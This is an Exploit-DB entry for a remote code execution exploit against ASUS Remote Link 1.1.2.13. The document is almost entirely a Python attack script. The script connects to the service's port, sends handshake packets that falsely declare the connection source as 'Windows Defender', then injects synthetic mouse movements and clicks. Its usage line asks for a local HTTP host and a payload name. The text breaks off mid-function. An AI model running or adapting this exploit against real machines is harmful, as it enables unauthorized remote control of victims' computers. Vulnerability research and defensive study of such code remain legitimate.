Exploit-DB #49594
Description: ASUS Remote Link 1.1.2.13 - Remote Code Execution
Type: remote
Platform: windows
Date: 2021-02-25
Author: H4rk3nz0

Exploit:
# Exploit: ASUS Remote Link 1.1.2.13 - Remote Code Execution
# Date: 24-02-2021
# Exploit Author: H4rk3nz0
# Vendor Homepage: http://asus.com/
# Software Link: http://remotelink.asus.com/
# Version: 1.1.2.13
# Tested on: Windows 10 Enterprise Build 17763
# CVE: N/A

#!/usr/bin/python

import socket
from time import sleep
import sys


port = 5665
target = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

prefix = "04020b02"
suffix = "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]"
enter = (prefix + ("0" * 1038)).decode("hex")
string_prefix = "04020b[PII_REDACTED]010000"
string_suffix = "0" * 1022
pre_command = "04000b[PII_REDACTED]".decode("hex")
user_declare = ("02028a[PII_REDACTED]000057696e646f[PII_REDACTED]66656e646572" + "0" * 224).decode("hex") # Declares Connection Source as 'Windows Defender'

# ASCII to Hex Character List
characters={
	"A":"41","B":"42","C":"43","D":"44","E":"45","F":"46","G":"47","H":"48","I":"49","J":"4a","K":"4b","L":"4c","M":"4d","N":"4e",
	"O":"4f","P":"50","Q":"51","R":"52","S":"53","T":"54","U":"55","V":"56","W":"57","X":"58","Y":"59","Z":"5a",
	"a":"61","b":"62","c":"63","d":"64","e":"65","f":"66","g":"67","h":"68","i":"69","j":"6a","k":"6b","l":"6c","m":"6d","n":"6e",
	"o":"6f","p":"70","q":"71","r":"72","s":"73","t":"74","u":"75","v":"76","w":"77","x":"78","y":"79","z":"7a",
	"1":"31","2":"32","3":"33","4":"34","5":"35","6":"36","7":"37","8":"38","9":"39","0":"30",
	" ":"20","+":"2b","=":"3d","/":"2f","_":"5f","<":"3c",
	">":"3e","[":"5b","]":"5d","!":"21","@":"40","#":"23","$":"24","%":"25","^":"5e","&":"26","*":"2a",
	"(":"28",")":"29","-":"2d","'":"27",'"':"22",":":"3a",";":"3b","?":"3f","`":"60","~":"7e",
	"\\":"5c","|":"7c","{":"7b","}":"7d",",":"2c",".":"2e"}


# User Specified arguments
try:
	rhost = "192.168.1.93"
	lhost = sys.argv[2]
	payload = sys.argv[3]
except:
	print("Usage: python " + sys.argv[0] + " <target-ip> <local-http-ip> <payload-name>")
	exit()

# HandShake Packets to Smart Gesture Server
def Handshake():
	target.connect((rhost,port))
	target.sendto("b2".decode("hex"),(rhost,port))
	target.sendto("38323538".decode("hex"),(rhost,port))
	target.sendto("03000f[PII_REDACTED]".decode("hex"),(rhost,port))
	target.sendto("03020f[PII_REDACTED][PII_REDACTED]0000".decode("hex"),(rhost,port))
	target.sendto("02008a[PII_REDACTED]".decode("hex"),(rhost,port))
	target.sendto(user_declare,(rhost,port))
	sleep(0.1)


def MoveMouse():
	for i in range(0,16):
		target.sendto("[PII_REDACTED]".decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]db010000c502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]d0010000ca02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]c7010000ce02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]bd010000d202" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]b2010000d502" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]a6010000d802" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]99010000db02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]8d010000de02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]80010000e002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]71010000e402" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]63010000e602" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]54010000e902" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]46010000eb02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]3b010000ed02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]2d010000f002" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]20010000f302" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]13010000f702" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]07010000fa02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]fa000000fd02" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]f[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]e[PII_REDACTED]3" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]d[PII_REDACTED]3" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]ce[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]c20000000d03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]b[PII_REDACTED]3" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]ab[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]a[PII_REDACTED]3" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]950000001c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED][PII_REDACTED]03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]7e[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED][PII_REDACTED]03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]6c0000002a03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]650000002c03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]5c0000002f03" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]5c[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		target.sendto(("[PII_REDACTED][PII_REDACTED]5c[PII_REDACTED]" + suffix).decode("hex"),(rhost,port))
		sleep(0.6)

# Sends Left Click Input (Occasional Delay for some Reason)
def LeftClick():
	target.sendto("[PII_REDACTED]".decode("hex"),(rhost,port))
	targe